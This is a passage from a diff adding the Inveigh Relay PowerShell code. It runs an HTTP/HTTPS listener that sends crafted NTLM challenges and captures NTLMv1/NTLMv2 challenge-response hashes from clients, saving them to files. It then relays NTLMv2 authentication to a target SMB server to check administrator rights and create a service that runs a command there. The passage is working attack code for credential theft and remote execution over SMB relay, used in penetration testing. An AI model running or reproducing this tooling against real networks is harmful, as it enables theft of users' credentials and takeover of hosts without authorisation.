if($SMBRelayNetworkTimeout) + { + $SMB_relay_execute_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout + $SMB_relay_execute_stopwatch = [diagnostics.stopwatch]::StartNew() + + while(!$SMB_relay_execute_stream.DataAvailable) + { + if($SMB_relay_execute_stopwatch.elapsed -ge $SMB_relay_execute_timeout) + { + $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) + $SMB_relay_failed = $true + break SMB_relay_execute_loop + } + } + } + + if ($k -eq 5) + { + $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) + $SMB_context_handler = $SMB_relay_execute_bytes[88..107] + + if(([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '00-00-00-00') -and ([System.BitConverter]::ToString($SMB_context_handler) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')) + { + $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")]) + } + elseif([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '05-00-00-00') + { + $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")]) + $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget" + $SMB_relay_failed = $true + } + else + { + $SMB_relay_failed = $true + } + + } + elseif (($k -eq 7) -or ($k -eq 9) -or ($k -eq 11)) + { + $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) + + switch($k) + { + 7 { + $SMB_context_handler = $SMB_relay_execute_bytes[92..111] + $SMB_relay_execute_error_message = "Service creation fault context mismatch" + } + 11 { + $SMB_relay_execute_error_message = "Service start fault context mismatch" + } + 13 { + $SMB_relay_execute_error_message = "Service deletion fault context mismatch" + } + } + + if([System.BitConverter]::ToString($SMB_context_handler[0..3]) -ne '00-00-00-00') + { + $SMB_relay_failed = $true + } + + if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq '1a-00-00-1c') + { + $inveigh.console_queue.add("$SMB_relay_execute_error_message service on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $SMB_relay_execute_error on $SMBRelayTarget")]) + $SMB_relay_failed = $true + } + } + else + { + $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) + } + + if((!$SMB_relay_failed) -and ($k -eq 7)) + { + $inveigh.console_queue.add("SMB relay service $SMB_service created on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $SMBRelayTarget")]) + } + elseif((!$SMB_relay_failed) -and ($k -eq 9)) + { + $inveigh.console_queue.add("SMB relay command likely executed on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay command likely executed on $SMBRelayTarget")]) + + if($SMBRelayAutoDisable -eq 'y') + { + $inveigh.SMB_relay = $false + $inveigh.console_queue.add("SMB relay auto disabled due to success") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay auto disabled due to success")]) + } + } + elseif((!$SMB_relay_failed) -and ($k -eq 11)) + { + $inveigh.console_queue.add("SMB relay service $SMB_service deleted on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $SMBRelayTarget")]) + } + + [Byte[]]$SMB_relay_execute_ReadAndRequest = (0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $inveigh.process_ID_bytes` + + $SMB_user_ID` + + $SMB_multiplex_ID` + + (0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x58,0x02,0x58,0x02,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00) + + if($SMB_relay_failed) + { + $inveigh.console_queue.add("SMB relay failed on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay failed on $SMBRelayTarget")]) + BREAK SMB_relay_execute_loop + } + + $k++ + } + + $inveigh.SMB_relay_active_step = 0 + + $SMB_relay_socket.Close() + + } +} + +# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener +$HTTP_scriptblock = +{ + param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$MachineAccounts,$WPADAuth) + + Function NTLMChallengeBase64 + { + + $HTTP_timestamp = Get-Date + $HTTP_timestamp = $HTTP_timestamp.ToFileTime() + $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) + $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + + if($Inveigh.challenge) + { + $HTTP_challenge = $Inveigh.challenge + $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + } + else + { + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + } + + $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null + + [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)` + + $HTTP_challenge_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)` + + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)` + + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)` + + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)` + + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)` + + $HTTP_timestamp` + + (0x00,0x00,0x00,0x00,0x0a,0x0a) + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = $HTTP_challenge + + Return $NTLM + + } + + while ($inveigh.relay_running) + { + $inveigh.context = $inveigh.HTTP_listener.GetContext() + $inveigh.request = $inveigh.context.Request + $inveigh.response = $inveigh.context.Response + $inveigh.message = '' + + $NTLM = 'NTLM' + + if($inveigh.request.IsSecureConnection) + { + $HTTP_type = "HTTPS" + } + else + { + $HTTP_type = "HTTP" + } + + if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) + { + $inveigh.response.StatusCode = 200 + } + else + { + $inveigh.response.StatusCode = 401 + } + + [string]$authentication_header = $inveigh.request.headers.getvalues('Authorization') + + if($authentication_header.startswith('NTLM ')) + { + $authentication_header = $authentication_header -replace 'NTLM ','' + [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) + $inveigh.response.StatusCode = 401 + + if ($HTTP_request_bytes[8] -eq 1) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) + + if(($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 0) -and ($inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget)) + { + $inveigh.SMB_relay_active_step = 1 + $inveigh.console_queue.add("$HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address + " at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address)]) + $inveigh.console_queue.add("Grabbing challenge for relay from $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $SMBRelayTarget)]) + $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient + $SMB_relay_socket.connect($SMBRelayTarget,"445") + + if(!$SMB_relay_socket.connected) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - SMB relay target is not responding") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target is not responding")]) + $inveigh.SMB_relay_active_step = 0 + } + + if($inveigh.SMB_relay_active_step -eq 1) + { + $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes + $inveigh.SMB_relay_active_step = 2 + $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.length] + $SMB_user_ID = $SMB_relay_bytes[34..33] + $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) + $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" + $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 + $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes + $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] + $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes + $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] + $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] + $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + + [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00)` + + $SMB_domain_length_offset_bytes` + + (0x05,0x82,0x89,0xa2)` + + $SMB_relay_NTLM_challenge` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` + + $SMB_target_length_offset_bytes` + + $SMB_relay_target_details + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes + $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $NTLM_challenge) + $inveigh.console_queue.add("Received challenge $NTLM_challenge for relay from $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")]) + $inveigh.console_queue.add("Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address)]) + $inveigh.SMB_relay_active_step = 3 + } + else + { + $NTLM = NTLMChallengeBase64 + } + } + else + { + $NTLM = NTLMChallengeBase64 + } + + $inveigh.response.StatusCode = 401 + + } + elseif ($HTTP_request_bytes[8] -eq 3) + { + $NTLM = 'NTLM' + $HTTP_NTLM_offset = $HTTP_request_bytes[24] + $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes + + [string]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = '' + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + + $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_type = "NTLMv1" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) + { + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.NTLMv1_file_queue.add($inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv1_list.add($inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + } + + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) + { + $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address + } + } + else # NTLMv2 + { + $NTLM_type = "NTLMv2" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) + { + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.address + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.NTLMv2_file_queue.add($inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv2_list.add($inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + } + + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) + { + $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address + } + } + + $inveigh.response.StatusCode = 200 + $NTLM_challenge = '' + + if (($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 3)) + { + if((!$SMBRelayUsernames) -or ($SMBRelayUsernames -contains $HTTP_NTLM_user_string) -or ($SMBRelayUsernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + if(($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$')))) + { + if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") + { + if($NTLM_type -eq 'NTLMv2') + { + $inveigh.console_queue.add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")]) + $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID + $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length] + + if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00'))) + { + $inveigh.console_queue.add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) + $inveigh.SMB_relay_active_step = 4 + SMBRelayExecute $SMB_relay_socket $SMB_user_ID + } + else + { + $inveigh.console_queue.add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) + $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget" + $inveigh.SMB_relay_active_step = 0 + $SMB_relay_socket.Close() + } + } + else + { + $inveigh.console_queue.add("NTLMv1 SMB relay not yet supported") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) + $inveigh.SMB_relay_active_step = 0 + $SMB_relay_socket.Close() + } + } + else + { + $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")]) + $inveigh.SMB_relay_active_step = 0 + $SMB_relay_socket.Close() + } + } + else + { + $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")]) + $inveigh.SMB_relay_active_step = 0 + $SMB_relay_socket.Close() + } + } + else + { + $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list")]) + $inveigh.SMB_relay_active_step = 0 + $SMB_relay_socket.Close() + } + } + } + else + { + $NTLM = 'NTLM' + } + + } + + [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) + $inveigh.response.ContentLength64 = $HTTP_buffer.length + $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) + $HTTP_stream = $inveigh.response.OutputStream + $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length) + $HTTP_stream.close() + + } + + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() +} + +$control_relay_scriptblock = +{ + param ($RunTime) + + if($RunTime) + { + $control_timeout = new-timespan -Minutes $RunTime + $control_stopwatch = [diagnostics.stopwatch]::StartNew() + } + + while ($inveigh.relay_running) + { + + if($RunTime) + { + if($control_stopwatch.elapsed -ge $control_timeout) + { + if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false + + if($inveigh.HTTPS) + { + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] + $certificate_store.Remove($certificate) + $certificate_store.Close() + } + catch + { + if($inveigh.status_output) + { + $inveigh.console_queue.add("SSL Certificate Deletion Error - Remove Manually") + } + + $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"| Out-File $Inveigh.log_out_file -Append + } + } + } + + $inveigh.HTTP = $false + $inveigh.HTTPS = $false + } + } + + if($inveigh.file_output -and (!$inveigh.running -or !$inveigh.bruteforce_running)) + { + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } + } + + Start-Sleep -m 5 + } + } + +# HTTP/HTTPS Listener Startup Function +Function HTTPListener() +{ + $inveigh.HTTP_listener = New-Object System.Net.HttpListener + + if($inveigh.HTTP) + { + $inveigh.HTTP_listener.Prefixes.Add('http://*:80/') + } + + if($inveigh.HTTPS) + { + $inveigh.HTTP_listener.Prefixes.Add('https://*:443/') + } + + $inveigh.HTTP_listener.AuthenticationSchemes = "Anonymous" + $inveigh.HTTP_listener.Start() + $HTTP_runspace = [runspacefactory]::CreateRunspace() + $HTTP_runspace.Open() + $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTP_powershell = [powershell]::Create() + $HTTP_powershell.Runspace = $HTTP_runspace + $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument( + $SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( + $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument( + $MachineAccounts).AddArgument($WPADAuth) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# Control Relay Startup Function +Function ControlRelayLoop() +{ + $control_relay_runspace = [runspacefactory]::CreateRunspace() + $control_relay_runspace.Open() + $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_relay_powershell = [powershell]::Create() + $control_relay_powershell.Runspace = $control_relay_runspace + $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RunTime) > $null + $control_relay_powershell.BeginInvoke() > $null +} + +# HTTP Server Start +if($inveigh.HTTP -or $inveigh.HTTPS) +{ + HTTPListener +} + +# Control Relay Loop Start +if($RunTime -or $inveigh.file_output) +{ + ControlRelayLoop +} + +if(!$inveigh.running -and $inveigh.console_output) +{ + + :console_loop while($inveigh.relay_running -and $inveigh.console_output) + { + while($inveigh.console_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) + { + "Inveigh *exited *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* written to *" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveRange(0,1) + } + "* for relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*SMB relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* local administrator *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + } + } + } + + if($inveigh.console_input) + { + if([console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + } + + Start-Sleep -m 5 + } +} + +} +#End Invoke-InveighRelay + +Function Stop-Inveigh +{ + <# + .SYNOPSIS + Stop-Inveigh will stop all running Inveigh functions. + #> + if($inveigh) + { + if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) + { + + if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + if($inveigh.bruteforce_running) + { + $inveigh.bruteforce_running = $false + $inveigh.status_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")|Out-Null + $inveigh.HTTP_listener.server.blocking = $false + Start-Sleep -s 1 + $inveigh.HTTP_listener.server.Close() + Start-Sleep -s 1 + $inveigh.HTTP_listener.Stop() + $inveigh.status_queue.add("Inveigh Brute Force 